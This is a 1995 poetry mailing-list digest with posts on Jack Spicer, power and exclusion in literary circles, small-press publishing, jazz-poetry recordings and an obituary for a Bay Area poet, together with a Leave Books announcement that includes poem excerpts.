unheldback, unabashed homosexual desire. To explain then: I guiltily, and harmlessly I think, enjoy this private attempts at humour by unfair caricature; but I hate all the public exclusions at readings and in workplaces etc. I think of Spicer as private to me, because so few read him here, and because I discovered him through Language Poetry, which seems hidden and private in British poetry culture (also, of course, caricatured and found hideous by those who don't like the smell of it, to allude back to the Spicer poem). I almost want Spicer to stay private, not often read (or as Ron says in his essay, appropriated by many who don't seem to actually enjoy his words/poetic at all, so I have a kind of private "genuine" worship as compared to mere fans).

I think all these things need more spelling out. I'm partly writing this in order to respond, Ed, to your justifiable "if this is a heterosexual space then I'm a talking mule" one-liner. As I said to Kevin before, I try not to catch up things I don't want to say in my rhetoric; what I and Gary have been saying is not essential (part of the DNA) of either age or heterosexuality, and I'd prefer, if it weren't so eyecatching, to talk about power not terms like "heterosexual space". But, then again, as soon as we've all started talking just about "power", we're no longer talking about abusive and excluding unethical behaviour by poets and circles, which was the topic I used my eyecatching language to bring up, and at least it *got* a little brought up that way, which it isn't doing talking about power per se. It remains the case that only parts of poetic culture talk about sex in detail and with scrutiny of issues of power of the sorts Gary and Colleen and I have been raising; and Mirage Periodical, a gay and lesbian periodical, tends to go for the detail and scrutiny I want, in the ways I've described. I realize you're a very busy and valuably productive man, Ed, as Gary has been saying, but I'd love to see you write something long taking on some of these points more; I think I know, like my reading of Spicer, how to take your wit and not assume you're Clarence Thomas; but, in this# context, it feels un-nerving, rather than thought-provoking (although I've let this effort at least be provoked),

Ira

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204. Juliana Spahr
new from Leave Books
Tue 11 Apr 1995

N E W F R O M L E A V E B O O K S

Leave books are available by subscription for $15
(includes all the books we will do this year) or
the complete backlist is available for $100

(see our listing at the Electronic Poetry Center archive)
or they can be bought individually for $4 each.
Please make any checks payable to the UB Foundation.

Leave Books are edited by Jennifer Karmen, Kristin Prevallet,
Juliana Spahr, and Marta Werner.
P.O. Box 786
Buffalo, NY 14213

This year's subscription includes:
Sonet, Marten Clibbens
Two Sections from Giscome Road, C. S. Giscombe
The Passion of Signs, Barbara Henning
Santa, Kevin Killian
Omen For a Birthday: Unravelled Poems, Cynthia Kimball
Psychoanalysis of Oedipus, Ira Lightman
Figures for a Hypothesis (Suite), Mark McMorris
My Novel, Sianne Ngai
Recant: (a revision), Randall Potts
Cool Clean Chemistry and Rx, Kim Rosenfield

Brief author descriptions and brief excerpts from each book follow.

* * *

Sonet
by Marten Clibbens

Marten Clibbens lives in Buffalo. This book is a collection of sonnets.

One
for nDc

Which, for love's book, wreathed
  is a %romance of the vanished;% --Lyn Hejinian
    recreant, blessed without secret,
not an eye but veil the foreign
  client in its glass detained
    for reading, when, to write?
An intermittent witness to concealing
  with revealing exchanged: as if
    the fled wish of third person
in sleep and watching both resigned
  to a dappled trail of leaves
    not there, here, nor where
but his or her remains to seem
  for whose book, then, to keen?

Buffalo
Autumn Equinox
1994

* * *

Two Sections from Giscome Road
by C.S. Giscombe

C.S. Giscombe lives in Indiana but right now he is living near Giscome Canada (the location of this book). This is a long poem.

(3 Gentlemen)

The %district's% bounded by watersheds –the Clearwater & Upper
Fraser, the Fraser & Canoe Rivers s s– & by the Alberta border
& the watershed of the Parsnip & Finlay Rivers wch itself
is %a continuation of the Columbia R. valley% continuing
northerly to the Yukon R. valley & %at Giscome%
%the valley of the Fraser leaves this valley & turns almost due south–%

"To further his ends," sd Fr. Morice, "[Dunlevy] established
    a post at Giscome Portage,
a section of land named after a man he had for some time
    in his employ as cook."

But Rev. Runnalls gets to the point: "To further his trade w/ the natives he established a number of outposts, one of wch was at Giscome Portage, a place wch was named for a negro cook in Dunlevy's employ."

(And Mr. Gauvreau:
%"The Fraser River at Giscome Portage is a noble stream–"%

the %portage% through wch to step further in or through wch to come

through groups of people eating –continuous,

no end in sight:

yet to be come to in the nomenclature, in the geography further on

* * *

The Passion of Signs
by Barbara Henning

Barbara Henning lives in New York and edits Long News in the Short Century. The Passion of Signs is a collection of short poems.

A PASSPORT TO PARADISE

(With wrinkled hands crossing off
what evidence she never wants him to read)
she tacks up flowered curtains and decorative
wallpaper, serves basil and tomatoes.
To the burden of the present she responds
with a rush of aromatic heat--how beautiful
the boundless forest. Robin, Robin mine!
Think him tenderly on a cool night
after WBGD has played Nina Simone for an hour.
Clear moonlight rearranged with a breeze
from the east. A mild nervous disorder.
This spot comfortable, one cigarette after another--
The other an unsettled, wide and cluttered cavern
between the written world and my inability to speak--

* * *

Santa
by Kevin Killian

Kevin Killian lives in San Francisco. This is a rare piece of fiction from Leave books.

I'll be writing two stories at the same time, but think of this as no "New Narrative" trick but as a kind of Victorian novel in miniature. Three stories really, because I've stretched out Brad Gooch's "Satan," as one might stretch a canvas before hitting the palette. In "Satan," a photographer, Eddie, so badly abuses his black model that even his rich white patrons, who like abuse to a certain point, start to drop him. This causes him to see the light and to change his ways. Reading the story you can't help but think you're getting a close-up of the home life of our dear Robert Mapplethorpe.

* * *

Omen For a Birthday: Unravelled Poems
by Cynthia Kimball

Cynthia Kimball is a poet who currently lives in Buffalo.
This is a broadside
and a section of it cannot be reproduced
here because of the limitations of ascii.

* * *

Psychoanalysis of Oedipus
by Ira Lightman

Ira Lightman lives in England. This is a collection of poems around ideas of psychoanalysis.

not all want to kill their father
half as much as I do,
roseanne arnold effaces freud
with a single more sensible motive: vengeance

around a small pantheon of names
conversations gather, as if named
were the inventors and conduits
of ideas unique until they were popular

but also prepared to be so,
freud not effaced, he's discussed

* * *

Figures for a Hypothesis (Suite)
by Mark McMorris

Mark McMorris is a poet who lives in Providence R.I. This book is a long poem.

1.

How far did we travel?
Till heart dried up.
Where did we start from?
A plan.
Where are we now?
Morningside. Aix. Mona.
What can words do that we haven't done?
Make a place. Then we can stop.
What is this place, if not a place to stop?
The yard is a loom; we begin with it.
To return? To begin again?
The model makes room for a setting out.
Why did we set out?
To get to a dialect.
Will there be one?
We know, after going through it, that there is.
Who else comes with us?
The yard is common: slave, poet, black.
And things? Do things go with us?
Bowl, fountain, vase, bird call, mirror, pigeon, cello, gravel, bed.
How did we choose what to take?
The yard gave them when we set out.
And people?
There are two of us on the trip.

Who is the slave?
A poet.
Who is the poet?
A black.
Who is the black?

* * *

My Novel
by Sianne Ngai

Sianne Ngai currently lives in the Boston area. She attended Brown, now she attends Harvard. This book is something between poetry and prose.

Chapter 1
Protagonist

I signed the forms, mailed them, and became credible. Here, among the dendrites. Several witnesses were able to describe what I was wearing. But the light did not assure the connection of neurons in a continuous fabric, even with two seeds in the same plant. Sex was "weak property." Not a memory, but a dotted line between cells, persuaded me to declare my visibility at the border.

The building I stay in, for example, invents its eastern face and western face for the grammatical trees which surround it. My lamp deterritorializes by forming an image, a tracing of a window, but the window reterritorializes on that image. It could be said that the lamp imitates the window. It has a side facing the molecular.

Many birds imitate the songs of other species. But imitation may not be the best concept for these phenomena. Female birds, which do not normally sing, start singing when they are administered male sex hormones, and they will sing the song of the species on which they have become imprinted. The song signals from a distance all members of its species that the territory has found a name.

* * *

Recant: (a revision)
by Randall Potts

Randall Potts lives in San Francisco. Recant: (a revision) is a series of poems that have quotes from the 17th century religious/sexual/ political movement called the Ranters and Senator Jesse Helms.

1.

Brisk travel to approximate a scurrilous text
Locations designated by letters sorted and discarded
Here and there summer passing at the same latitude

Chronology as a catalogue of time as events
Spaces to accommodate a body but walled over
Any interpretation decorative thus speculative
To attach description like counting them
Time expressed visually as numerous available routes
As a map the letter was useless

* * *

Cool Clean Chemistry and Rx
by Kim Rosenfield

Kim Rosenfield lives in New York. This book contains two
books in one wrapper.

THE OLD SNAKE STORY

Some people think that fish is a brain food and that a
mackerel will convert a moron into an Einstein

%The average man looks for something beyond.%

Some people believe that warts can be removed by tying knots in a string and burying the string at a crossroads, in the moonlight.

%I have seen a multimillionaire seriously expectorate into his palm and splatter saliva far and wide at the passing of a white horse.%

Some people believe that if you drink from a garden hose, you may get a snake in your interior.

%hard cheese and celery should be thoroughly chewed.%

Some people believe that if you break out with pimples or boils, it's just the meanness erupting.

%A live piscatory specimen in one's stomach is not an enjoyable companion.%

Some people believe that poker players try to improve their luck by rubbing the hump of a hunchback.

%"without phosphorus, there is no thought"%

Some people think that medicine can't be good unless it has an odor like that of a pole cat.

%An X-Ray examination finally showed that she had swallowed an octopus egg, which had hatched inside her anatomy.%

Some people think that it is possible to take an eye out, wash it, and put it back.

[end]

↑ Index

205. **Steven Howard Shoemaker**
audio sources
Tue 11 Apr 1995

I've been happy to see all the jazzpo sourcings lately, and it's made me want to ask people to post info on what sources they know about for audio-recordings of poetry in general. So please do!

thanks,
steve

↑ Index

206. **Joe Amato**
Re: Knowledge & empowerment (long)
Tue 11 Apr 1995

---

gary, great letter, and yes---it's "useful knowledge," even taken as an emotional appeal against exclusionary practices... me, i've always been aware of the class issue, owing to my background, but that hasn't been enough in itself to correct my myopia as a teen in central new york in the seventies regarding all sorts of other issues---gender, race, sexual orientation... these latter terms aren't simply buzz words if taken aright-- they're daily commitments, daily challenges... and our systems of publishing and distribution (to bring the point specifically back to the issues you're raising) reflect lapses, oversights, motivations, and prejudices against precisely such a grid...

thanks for taking the time to post such a searching missive...

all best///

joe

↑ Index

207. **Tony Green**
Re: Dinner Is Served
Tue 11 Apr 1995

OK Charles, thanks, it's 12 April here, what time is it with you. But I
won't be eating, I've just had breakfast. Enjoy yr meal,
bananas wd be nice, but, no baloney, enjoy the
subsequent process of digestion etc. Next week it's at
our place.

Tony Green,
e-mail: [redacted]
post: Dept of Art History,

University of Auckland,
Private Bag 92019,
Auckland, New Zealand
Fax: 64 9-[redacted]
Telephone: 64 9 [redacted] ext. 8981 or 7276

↑ Index

208. **Tony Green**
Re: Consent of the governing
Tue 11 Apr 1995

Dear Wystan, You didn't say how small a mag: never more than 120 copies, photocopy. Do you remember the writers we didn't publish? I bet some of them remember us. This is all abt the struggle at the bottom of the publication heap, as opposed to TV and Newspaper and Text-Book and Encyclopaedia and Novels and Non-Fiction. And it's still a soap opera. Die-Nasty? But we did PAY for our photocopy, which was a sign of failure. We should really have stolen it.

Tony Green,
e-mail: [redacted]
post: Dept of Art History,
University of Auckland,
Private Bag 92019,
Auckland, New Zealand
Fax: 64 9-[redacted]
Telephone: 64 9 [redacted] ext. 8981 or 7276

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209. **Joe Amato**
Re: Love me tenure
Tue 11 Apr 1995

---

aldon, your point about foucault hits home with me... for years i've been (in my occasionally angry way) trying to get folks to see that issues of class (and academe is real good at avoiding or obscuring honest talk about this subject) have not necessarily to do with how little money one has in one's bank account, but with how much and what sorts of access one is granted in institutional terms... i know a number of grad. students (i was one too) who seem to think that privation toward a phud constitutes a class distinction..... but what i learned growing up for a good portion of my life on the wrong side of the tracks is that theres a number of things that go along with lower economic status that, though emerging from a lack of the almighty buck, have in fact to do with entry

into a specific social sector (or inability to enter), with an emotionally damaging sense of alienation, with wholesale exclusion from entire networks of taste (what's perceived as good in normative terms) AS WELL AS, say, health care... which leads to an impoverishment of aspiration AS WELL AS an empty stomach, neither of which is offered to one as a choice...

looking forward to your further thoughts///

best,

joe

↑ Index

210. Kevin Killian
Death of Andy Cole
Tue 11 Apr 1995

Have received word, from Nemi Frost and Larry Kearney, of the death earlier this year in Marin County (Northern California) of Andy Cole, aged 52. When he arrived in San Francisco in 1964 from Binghampton and Brooklyn, Andy Cole was 21. He and his friends were promptly dubbed the "Jesuits" by Jack Spicer and his circle at Gino & Carlo's, the North Beach bar/site of the poetic activity surrounding "Open Space" and Spicer's penultimate book "Language." In "Language" these Brooklyn Catholic boys flicker in and out of vision, flames casting shadows, forever young, scared, near death, untouchable. Like his great friends Spicer and Richard Brautigan, Andy Cole died "essentially of alcoholism." (LK)

"The trees
Of some dark forest where we wander amazed at the selves of ourselves.
Stumbling. Roots
Stay. You cannot lose your innocence, Andy
Nor could Alice. Nor could anyone
Given the right woods"

-Spicer,
"Morphemics 4"

↑ Index

211. Edward Foster
Re: Jack Spicer
Tue 11 Apr 1995

---

ira, one way to get at the questions you ask might be via spicer's "kreis," absolutely essential to his poetics, i think and so discuss in my monograph (gag

when you hear the word) on spicer. i've got a related essay on gay poetics in the new texture.

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212. Edward Foster
Re: Knowledge & empowerment (long)
Tue 11 Apr 1995

---

actually, gary, what we need is for poets to find AGAIN a way around the system. not so long ago terrific books appeared in mimeograph form and then someone decided we all have to have glossy covers or the bookstores won't listen. is there a new way?

↑ Index

213. Loss Glazier
Re: Knowledge & empowerment (long)
Tue 11 Apr 1995

Edward,
You may, in fact, be participating in one variety of it!
Loss

> actually, gary, what we need is for poets to find AGAIN a way around
the system. not so long ago terrific books appeared in mimeograph form
and then someone decided we all have to have glossy covers or the
bookstores won't listen. is there a new way?

↑ Index

214. cris cheek
sexual harassment + festering pastiche
Tue 11 Apr 1995

Hi Ira,

well it had lit nit picking salon toadied all over it. The CCCP charity ball for poverty fond raising versers the rest. That's also the pervasive cynicism of London and of Cambridge over the past few years. One reason for my 'getting out'.

That game simply isn't worth the bothering. If it patently wasn't true in my case I'd say "I've been to the top and there's nothing there!".

Somehow something of what I'm saying is pertinent to this discussion of power and politics in poetry circles. The front game is a lit career game if you look

carefully. Simply refuse to play. That doesn't in any way excuse those who abuse such situations. But don't give credence to the fawning crap shoot and confer or confirm power by even giving your attentive presence. Let the inflated egos blow away on their own copious and stale hot air. Pastiche and parody of now is the festering pits.

love
cris

↑ Index

215. Pierre Joris
Re: sexual harassment
Tue 11 Apr 1995

Ira,

Could you let us know who the Lowdowntown vs. Camtown poets were?

Pierre

========== Pierre Joris | He who wants to escape the world, translates it. Dept. of English | --Henri Michaux SUNY Albany | Albany NY 12222 | "Herman has taken to writing poetry. You tel&fax:[redacted] | need not tell anyone, for you know how email: | such things get around." [redacted]| --Mrs. Melville in a letter to her mother. ==========

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216. Blair Seagram
Re: Native Americans
Tue 11 Apr 1995

Chris Scheil wrote:

Sorry if this post is somewhat strident (no personal offense is intended), but this is a subject about which I feel particularily strongly, and which all too often lends itself to a type of liberal hand-wringing do-nothingness that I find particularily offensive.

Dear Chris: I ain't no liberal and this ain't no CBGB's. You speak the truth, and I have neglected to record your entire message. I feel I belong to North America, but I know I am descendent of European culture or better yet (the decline of) western civilization. What we have done to the Indians is a disaster. Tell me how to solve the problem. Should we pick up our bags and get the hell outta

here. Should we have a mass suicide for all people that are not Native Americans. In which case, lets go back and redefine all the borders of Europe up to the migration of the peoples that brought forth the Indo-European languages.

Respect full y ours,

and love too

Blair

↑ Index

217. Blair Seagram
Re: Dentistry
Tue 11 Apr 1995

Dear Lindz (Lindsey)

How appropriate of you, how intuitive of you, to choose teeth and the dentist as a means to an end. It is such a sensitive area for me. Keep resting in fields of totems where the grass is high and the dusk lingers on *from here to eternity*.

Even so, morning keeps its appointment.

TC/PG
Blair

↑ Index

218. Tom Mandel
my correspondence with Spencer, and the power of poets
Tue 11 Apr 1995

Well, by referring to you as Spencer Selby in my post, Spencer, I didn't mean to turn my back on our relationship but rather to indicate exactly with whom I'd had the correspondence. I greatly enjoy my friendship with you. Your intransigence (what you refer to as my inability to get you to agree with me) is one of the attractions of the friendship, not a negative at all. "Opposition is true friendship" (for $50 and a chance at the weekend cruise, identify that quotation).

I think my calling your position nominalist is fair as well; again I don't mean to reduce it in any way. Nor, really, do I think I said that you are wrong. It's hard to crack the crowd as a newcomer in poetry as in most other such little worlds. Further, it's hard to have shifts in your position accepted or appreciated as you go along in your career - a related matter which you don't treat. Many are those who, comfortable with the poet of _EncY_ - my first book - are a good deal less comfortable with the one who wrote _Letters of the Law_ my most recent. A

personal example but hardly an exclusive one. The world trades on recognizability, it's not surprising.

When I say that the authority of writing as an activity is what matters, I sure don't mean it's all that matters to editors or even to readers. It's to writers that it's all that ought to matter. In any case, if we understand anything from a century of philosophical analysis whose sole aim sometimes seems to show it, it is that "matters" only parses as "matters to X." Intentionality is of the essence of mind.

Thus, when I say that the issue of power as you raise it bores me, I mean just that. Not at all to make it more difficult to "solve" this "problem," but to recognize that it won't be "solved" because it is not a "problem" but a condition. In a way I like it. I like the agon, and I like knowing that I can turn away from the agon. Often, I find, I am satisified with the difficulty of life. I don't wish for a world in which the minute you wrote something wonderful, huzzahs wd rise from all corners - a universal egalitarian response to new and anonymous brilliance (altho there is no greater pleasure I don't think than to experience the same: the first time I heard Lee Ann Brown's writing or Melanie Nielsen's or Jessica Grim's, for example).

What about the value of struggle, anybody have a yen for that? I do decidedly.

Finally, I well remember the first time I ran a reading series; it was with Ron Silliman, at the Grand Piano in SF in 1977. Immediately, people began bugging us to give them readings, and we did put a lot of people on (two a week for a long time). At the same time, we commanded no authority whatever, who were we? We just had a coffee house space. Anyone else cd have had a coffee house space too, and put on readings. Yet, we were treated as if we possessed some power and territory, and folks wanted a peace of it.

The theory of poetic space behind this is that of a closed and finite space with operators in place; that's your theory too, I conclude, Spencer. But I think poetic space is like an extensible puzzle. It exists and has a set of features at its edges, and you hew something new to extend that space while relating to it. At the

same time, you create a new space for that space to occupy too. You, for example, started Sink magazine. You will remember that my first advice to you when you showed me issue one, was that you should publish new writers, rather than making a new venue for all of us. I don't think I am convictable on your charges, in other words. It's boring to talk about the problems of breaking in or of making something genuinely new, but not boring to do so, nor boring to call it out when you see it and to publish it.

Tom Mandel

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219. Tom Mandel
Colleen Lookingbill on "consent of..."
Tue 11 Apr 1995

"As politics (which involves the communication of only power relationships

between people) holds more sway, humanity is more and more buried by reductive modes of relating, with it buried, politics becomes more and more

mean-spirited, if indeed spirit of any kind can be said to be involved."

Without exactly agreeing with the "terms" of this statement (terms which in a sense dictate its conclusions), I am all the same in sympathy with it. But, to me, it is precisely this concern with who is getting published or famous and why who has what power where, this it is which is "mean-spirited," that's why I said I found it boring and wished it would go away (a statement hardly synonymous, btw, with an "impulse to suppress it" - and this last remark is aimed at Joe Amato too).

Tom Mandel

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220. George Bowering
Re: Jack Spicer
Tue 11 Apr 1995

In reference to Lightman's almost wishing that Spicer were still almost unknown in various places, etc. Well, we should remember and take seriously Spicer's sense of writing for a community largely in the Bay Area (though later we would see that there were more copies of the +Collected Books_ sold in Vancouver than anywjhere else). That he couldnt care less whether there were

any copies sold and bought in New York or Philadelphia. One should remember something of that while reading the poems; it gives them some of their force. The intimate urge of the voice, the confidence in the Spicer SENTENCE in those poems. What Jack thought about the fate of the poems these 30 years later, I dont know. But his sense of still writing TO people he knew is part of what makes the poems so damned wonderfulo.

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221. Stephen Galen Cope
Re: poetry & neo-chamber music
Tue 11 Apr 1995

Andrew-

Julie Kabat recorded 'On the Edge' for Leonarda Productions (NY) in 1984. It features Marilyn Crispell and settings of a number of poems...

-Stephen Cope

↑ Index

222. George Bowering
Re: Dinner Is Served
Tue 11 Apr 1995

Dear Charles. I wd love to make it to dinner, but I dont think I can even get to the Davis reading. Please convey my regrets to all concerned. Can we do lunch some day this week?

↑ Index

223. Mn Center For Book Arts
Re: Poetry/Jazz, Hemphill, etc.
Tue 11 Apr 1995

I imagine there are a lot of people on this list who have jazz/poetry tapes of their own work. It may be with local (various localities) & regional & lesser-known national performers, but I imagine lots of us have done various kinds of collaborations. I know I have, with Steve Nelson-Raney and with Thomas Gaudynski, with Chuck Koesters & Carlos Nakai, and others (not all jazz, but some); I know Sheila Murphy has collaborated with various performers. I'd be interested to know how much this is a living part of various people's work, and particularly how such work informs the ear, the sounding, of poets.

thanks,
charles alexander

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224. Tom Mandel
Gary Sullivan on KNowledge & Empowerment
Tue 11 Apr 1995

Gary's post which concluds

" Joe, & others, I don't know if any of the info or opinions above will prove useful to you. It's just one person's experience & opinions, after all. I hope you and others do, and continue to, look beyond pre-existing channels for new writing -- including (obviously) within yourselves. Knowledge & information is power. Everyone's entitled to it. It's not beneath you. Yours, Gary "

is an extraordinary and useful characterization of real struggle and real condition in a social world I recognize and recognize myself co-inhabiting with him, and with others - "others" to include Spencer Selby and to include Ron Silliman. Every poetic act is, I hope an oppositional act of witness, a realist act. The most minimal act of extension, of giving your work to someone to read, is the first and best act of publishing. The problem of samizdat in the Soviet Union, for example, was not that poets couldn't find publishers because publishers were prevented (by active and passive means) from publishing these poets, but of a world organized to erase that oppositional witness, the acts of poets and, if I may oldfashiondlly so characterize it, of the poetic soul. The soul that believes that expression changes the world. There is no doubt that the veryb best way to see the struggle to get young or unknown or changing poets published is to see that struggle as against this closing of the world. To that degree, in that sense, to that end, I concur. Only this is not an issue of which poet has power and which does not; that is, it is a realer issue than that.

Tom Mandel

↑ Index

225. FUNKHOUSER CHRISTOPH
got a year old pair of rollerskates
Tue 11 Apr 1995

> *Jed - - yes, talking regularly with Cecil about "poetry," "heuristics," "spirits" (& Ar*

fan
> letter I sent last July. About half of what has became an 80 page "in>
terview"

> since then is supposed to be out in _Hambone 12_ this summer (there h> ave been
> a couple of short excerpts in DIU, & a few bootleg editions around, t> ho still
> needs editing). Over the past 33 years Cecil has been working with wo> rds
> and/as sound, stirred in part by his "relationships" with Bob Kaufman> ,
> Betty Carter, Billie Holiday, Baraka, Living Theatre, Min Tanaka, his> mom,
> dad, boulders et al... Recently he has been trying to get Abbey Linco> ln to
> record a Kaufman poem he has set to music. Ten minutes or so of his f> irst
> set last saturday at the village vanguard began with chanting & disti> nct
> lines of poetry about "a point in orbit" "lacking distinct footlike>
> appendages" & culinary chimings by cellist, & bells. Growls. Lovely. > There
> are 2 or 3 CT word/sound albums (_Chinampas_ & _Tzotzil Mummers Tzotz> il_
> have come out on Leo Records, & I think there's another, plus the Mys> tic
> Fire video, on which he recites)-- Cecil's a voracious reader, studen> t
> of dance & architecture as well as music, & talks about Audre Lourde,> Olson,
> Ella Fitzgerald, Creeley, & esp. Marvin Gaye and Duncan having had a > certain
> influence on him. _Chinampas_ is especially "worth" checking out, wor> dsounds
> in "florescence" in a motion, e-motion, etc.: "a curve having rotati> on in
> three dimensions cutting sprial elements at a constant angle." G. Qu> asha
> has asked Cecil (& I) to put together a text of CT's writing for Sta> tion
> Hill. Most of which now exists in notebooks in a closet in Brooklyn (> though
> "Garden" in the anthology _Moment's Notice_ is out, & other stuff on
> liner notes)-- It might happen later in the year... we'll see...
> Sun Ra I always think of as a poet & musician of importance, thoug> h his
> work obscured. Marilyn Crispell's writing is great, too (she publishe> d poems
> in last year's _Little Mag_, as well as on various albumcovers). > ÊApparently
> Clark C. has a book of poems soon out riffing off of Cecil's music...
> Nate Mackey's CD, _Strick_, will be out on Spoken Engine (Memphis,>
> who're also doing cds of Tarn & Maxine Hong Kingston this year) in ab> out
> a month. The musicians are Iranian Hafiz M. (who Cope mentioned) & Ro> yal
> Hartigan. One of them is in Ho's Afro-Asian ensemble. In an interview> which
> will be in the spring issue of _Callaloo_ (much of which reprints the> Nov.
> '91 issue of Poetry Flash), Nate talks extensively about his relation> ship
> with music (&, btw, Nate guestedited the current issue of _Callaloo_,> Wilson

> Harris as focus -- &, if anyone's interested, apparently Harris is sp> eaking
> in Boston & DC next week --). The recording Cope referred to is a 6/> 91
> program at New Langton Arts, Splatter Trio's interpretation of "Udhri> te
> Amendment," a theme from Nate's prosody. Glenn Spearman's double-trio> has
> also interpretively performed _Bedouin Hornbook_, of which there's a > video
> which *hasn't* circulated.
>
> Archie Shepp wrote poems, too, Anais Nin work khakis, & _____(s) > played
> guitar.
>
>
> funk-ling
>
>

↑ Index

226. George Bowering
Re: Desire
Tue 11 Apr 1995

Ooog! Agh!
If one of those old old fifty-year old person was sticking his
withered old hands down my pants, why, wehy, I think I would just get
up and move. Probably got warts all over him.
One thing I cant stand is old hands.

↑ Index

227. FUNKHOUSER CHRISTOPH
got a brand new pair of rollerblades
Tue 11 Apr 1995

---

sorry for the scrambled vers.--

Jed - - yes, talking regularly with Cecil about "poetry," "heuristics," "spirits" (& Armani suits) after he replied warmly to a fan letter I sent last July. About half of what has became an 80 page "interview" since then is supposed to be out in _Hambone 12_ this summer (there have been a couple of short excerpts in DIU, & a few bootleg editions around, tho still needs editing). Over the past 33 years Cecil has been working with words and/as sound, stirred in part by his "relationships" with Bob Kaufman, Betty Carter, Billie Holiday, Baraka, Living Theatre, Min Tanaka, his mom, dad, boulders et al... Recently he has been trying to get Abbey Lincoln to record a Kaufman poem he has set to music. Ten

minutes or so of his first set last saturday at the village vanguard began with chanting & distinct lines of poetry about "a point in orbit" "lacking distinct footlike appendages" & culinary chimings by cellist, & bells. Growls. Lovely. There are 2 or 3 CT word/sound albums (_Chinampas_ & _Tzotzil Mummers Tzotzil_ have come out on Leo Records, & I think there's another, plus the Mystic Fire video, on which he recites)-- Cecil's a voracious reader, student of dance & architecture as well as music, & talks about Audre Lourde, Olson, Ella Fitzgerald, Creeley, & esp. Marvin Gaye and Duncan having had a certain influence on him. _Chinampas_ is especially "worth" checking out, wordsounds in "florescence" in a motion, e-motion, etc.: "a curve having rotation in three dimensions cutting spiral elements at a constant angle." G. Quasha has asked Cecil (& I) to put together a text of CT's writing for Station Hill. Most of which now exists in notebooks in a closet in Brooklyn (though "Garden" in the anthology _Moment's Notice_ is out, & other stuff on liner notes)-- It might happen later in the year... we'll see... Sun Ra I always think of as a poet & musician of importance, though his work obscured. Marilyn Crispell's writing is great, too (she published poems in last year's _Little Mag_, as well as on various albumcovers). Apparently Clark C. has a book of poems soon out riffing off of Cecil's music... Nate Mackey's CD, _Strick_, will be out on Spoken Engine (Memphis, who're also doing cds of Tarn & Maxine Hong Kingston this year) in about a month. The musicians are Iranian Hafiz M. (who Cope mentioned) & Royal Hartigan. One of them is in Ho's Afro-Asian ensemble. In an interview which will be in the spring issue of _Callaloo_ (much of which reprints the Nov. '91 issue of Poetry Flash), Nate talks extensively about his relationship with music (&, btw, Nate guestedited the current issue of _Callaloo_, Wilson Harris as focus -- &, if anyone's interested, apparently Harris is speaking in Boston & DC next week --). The recording Cope referred to is a 6/91 program at New Langton Arts, Splatter Trio's interpretation of "Udhrite Amendment," a theme from Nate's prosody. Glenn Spearman's double-trio has also interpretively performed _Bedouin Hornbook_, of which there's a video which *hasn't* circulated.

Archie Shepp wrote poems, too, Anais Nin work khakis, & _____(s)
played
guitar.

funk-ling

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228. Mn Center For Book Arts
Re: Knowledge & empowerment (long)
Tue 11 Apr 1995

Gary, your long post on knowledge & empowerment is most welcome. You're probably right about the presence at the Cowles dinner for Gigi Bradford. Chax or Detour would not have been invited because they don't have the right community presence, boards with clout of various kinds, etc. At more recent meetings of the six largest literary organizations in Twin Cities I have been lobbying to include other (not the largest) organizations, and it looks like that will happen in September, but I had to argue against the idea that the larger organizations ought to set the agenda first and then open the floor to smaller organizations. Makes me wonder if I ought to be lobbying for more openness or if I ought to just be running for the door as fast as I can.

I'm not so certain about the effect of cutting NEA. Sometimes I think the larger presses with more money from NEA will be hurt more than the smallest presses who will find ways to survive without such money, as they find ways now to survive without such money. But these are complex matters, as de-funding NEA, if that happens or if drastic cuts happen, will have ripples and waves throughout the philanthropic world.

I think your post should be read by Gigi Bradford
at the NEA. I can probably find that e-mail address for you if you want it.

all best,
charles

↑ Index

229. Lindz Williamson
Re: Native Americans
Wed 12 Apr 1995

On Tue, 11 Apr 1995, Blair Seagram wrote:

> *Dear Chris: I ain't no liberal and this ain't no CBGB's. You speak the truth, and I have neglected to record your entire message. I feel I belong to North America, but I know I am descendent of European culture or better yet (the decline of) western civilization. What we have done to the Indians is a disaster. Tell me how to solve the problem. Should we pick up our bags and get the hell outta here. Should we have a mass suicide for all people that are not Native Americans. In which case, lets go back and redefine all the borders of Europe up to the migration of the peoples that brought forth the Indo-European languages.*

> *Respect full y ours,*
>
> *and love too*
>
> *Blair*

Everyone is getting so touchy lately and I'm not quite sure what t o think of it. Spring in the Northern hemisphere is obviously putting us all in a tizzy. I like it, I think we all need a good bout of defensive cynicism.

In reply to Blair's rant and have to somewhat agree just jumping of a bridge would make things simpler, but then what would the after life be like with all those quitters. It all comes down to guilt, which is bloody well boring and I don't think we need to play the apology game any more. The PC movement has shown us all what a nightmare that can be. It's just another form of generic classification that by breaking down one stereo type and constructing another that masks as unoffensive. This fabricated NewSpeak is a false liberation. Not that I want to preach, but i don't fear those who offend me but those who seek to shield me from vulgarity.

And to Eric, sorry (fuck me I didn't want to apologize, I recant) if I crossed genres but the way I view myself is a writer, not an author, not a poet. i look at all forms of writing for incite. Most of my favorite poets I admire for their ability to tell story. likewise I admire novelist who use their poetic license

honestly Lindz

↑ Index

230. **Herb Levy**
Re: Poetry/Jazz
Wed 12 Apr 1995

On Tue, 11 Apr 1995, George Bowering wrote:

> *Works the other way round, too. There were rumours years ago of all the poems that Cecil Taylor has/had written. F'rinmstance.*

There's still little of Taylor's poetry in print, a few as liner notes and a large chunk in Nate Mackey & Art Lange's <Moment's Notice> are all I can recall offhand. But there is a _very_ good recording of Taylor's poetry on Leo, originally an lp and now, I'm pretty sure, available on CD. It's called <Chinampas> and it's just Taylor reciting and playing (mostly percussion instruments).

Less jazz-related but mostly not chamber music either are these other new music/new writing collaborations: Morton Feldman's <Three Voices> - an hour-

long piece using about two and a half lines of Frank O'Hara in the midst of mostly vocalise; Feldman's opera <Neither> on a text written for him by Samuel Beckett; I've heard a tape of Steve Benson improvising with the Splatter Trio (did they really collaborate with Nate Mackey?); The Hub (an interactive live computer music group) performed <Hub Renga> live on a Pacifica station in the Bay area with poets sending in texts digitally via the Well (a bit of this is on the second Hub CD); Larry Polansky collaborated with Australian poet Chris Mann on a piece called <Simple Actions/Rules of Compossibility>; and, I haven't heard it but Nicolas Collins used some texts of Diane Ward's that were subsequently published in <Writing> for a composition or installation or something.

- Herb

↑ Index

231. **Herb Levy**
Re: Standing
Wed 12 Apr 1995

On Tue, 11 Apr 1995, Edward Foster wrote:

> *it's nice to think that poetry might/could effect the world, but as spicer point ed out in that anguished talk at the berkeley conference shortly before his deat h, poetry simply hasn't/doesn't. as they say, poetry has nothing to do with poli tics.*

